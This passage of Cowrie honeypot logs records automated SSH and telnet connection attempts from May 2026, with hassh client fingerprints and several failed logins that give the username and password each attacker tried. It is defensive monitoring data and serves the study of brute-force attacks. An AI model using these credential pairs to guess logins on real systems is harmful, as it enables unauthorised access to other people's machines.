{"eventid":"cowrie.login.failed","username":"x","password":"123123","message":"login attempt [x/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:13.508413Z","src_ip":"4.194.4.255","session":"a9be1e6ee472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":53190,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e333dd8f06","protocol":"ssh","message":"New connection: 182.18.161.165:53190 (159.203.135.109:22) [session: 70e333dd8f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:14.619432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:14.624666Z","src_ip":"182.18.161.165","session":"70e333dd8f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:14.748653Z","src_ip":"4.194.4.255","session":"a9be1e6ee472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:14.836405Z","src_ip":"182.18.161.165","session":"70e333dd8f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:15.711541Z","src_ip":"182.18.161.165","session":"70e333dd8f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:16.927543Z","src_ip":"182.18.161.165","session":"70e333dd8f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":57050,"dst_ip":"159.203.135.109","dst_port":22,"session":"870bd2496111","protocol":"ssh","message":"New connection: 143.198.221.127:57050 (159.203.135.109:22) [session: 870bd2496111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:22.356363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:22.365463Z","src_ip":"143.198.221.127","session":"870bd2496111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:22.601911Z","src_ip":"143.198.221.127","session":"870bd2496111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A.123456","message":"login attempt [root/A.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:23.582019Z","src_ip":"143.198.221.127","session":"870bd2496111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.03941464424133,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:23.776744Z","src_ip":"178.128.93.180","session":"c4d053f6799e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:24.820732Z","src_ip":"143.198.221.127","session":"870bd2496111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77803659439087,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:31.326550Z","src_ip":"69.4.83.194","session":"246e022b3e62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40810,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1f369da765","protocol":"ssh","message":"New connection: 103.27.238.114:40810 (10.17.0.5:22) [session: dd1f369da765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:43.918061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:43.922757Z","src_ip":"103.27.238.114","session":"dd1f369da765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:44.186042Z","src_ip":"103.27.238.114","session":"dd1f369da765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kristen","message":"login attempt [root/kristen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:45.668702Z","src_ip":"103.27.238.114","session":"dd1f369da765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":56024,"dst_ip":"159.203.135.109","dst_port":22,"session":"78960066ea56","protocol":"ssh","message":"New connection: 213.183.120.56:56024 (159.203.135.109:22) [session: 78960066ea56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:46.146553Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:46.935678Z","src_ip":"103.27.238.114","session":"dd1f369da765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":34630,"dst_ip":"159.203.135.109","dst_port":22,"session":"d034937b78dd","protocol":"ssh","message":"New connection: 182.18.161.165:34630 (159.203.135.109:22) [session: d034937b78dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:28.985257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:28.988748Z","src_ip":"182.18.161.165","session":"d034937b78dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:29.198400Z","src_ip":"182.18.161.165","session":"d034937b78dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!!!","message":"login attempt [root/Aa123456!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:30.073776Z","src_ip":"182.18.161.165","session":"d034937b78dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"43729e46e8f8","protocol":"ssh","message":"New connection: 167.172.174.185:35588 (159.203.135.109:22) [session: 43729e46e8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:30.906597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:30.911800Z","src_ip":"167.172.174.185","session":"43729e46e8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.008080Z","src_ip":"167.172.174.185","session":"43729e46e8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":43998,"dst_ip":"159.203.135.109","dst_port":22,"session":"b934de3fc7d4","protocol":"ssh","message":"New connection: 27.50.25.190:43998 (159.203.135.109:22) [session: b934de3fc7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.118074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.123239Z","src_ip":"27.50.25.190","session":"b934de3fc7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.300637Z","src_ip":"182.18.161.165","session":"d034937b78dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.349764Z","src_ip":"27.50.25.190","session":"b934de3fc7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bismillah","message":"login attempt [root/Bismillah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:31.406679Z","src_ip":"167.172.174.185","session":"43729e46e8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:32.289159Z","src_ip":"27.50.25.190","session":"b934de3fc7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:32.507345Z","src_ip":"167.172.174.185","session":"43729e46e8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:33.518735Z","src_ip":"27.50.25.190","session":"b934de3fc7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":40584,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fb9c172d25c","protocol":"ssh","message":"New connection: 103.148.100.146:40584 (159.203.135.109:22) [session: 8fb9c172d25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:36.182760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:36.189994Z","src_ip":"103.148.100.146","session":"8fb9c172d25c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:36.465188Z","src_ip":"103.148.100.146","session":"8fb9c172d25c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad@123","message":"login attempt [mamad/mamad@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:37.611386Z","src_ip":"103.148.100.146","session":"8fb9c172d25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:38.898432Z","src_ip":"103.148.100.146","session":"8fb9c172d25c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d7b18352ac3","protocol":"ssh","message":"New connection: 103.77.175.15:40884 (10.17.0.5:22) [session: 7d7b18352ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:44.581551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:44.585744Z","src_ip":"103.77.175.15","session":"7d7b18352ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:44.834479Z","src_ip":"103.77.175.15","session":"7d7b18352ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hi23mjx3wh","message":"login attempt [root/hi23mjx3wh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:45.579573Z","src_ip":"103.77.175.15","session":"7d7b18352ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:46.830817Z","src_ip":"103.77.175.15","session":"7d7b18352ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":42168,"dst_ip":"159.203.135.109","dst_port":22,"session":"6def9aa1ff2a","protocol":"ssh","message":"New connection: 69.6.221.248:42168 (159.203.135.109:22) [session: 6def9aa1ff2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:56:49.386280Z"}
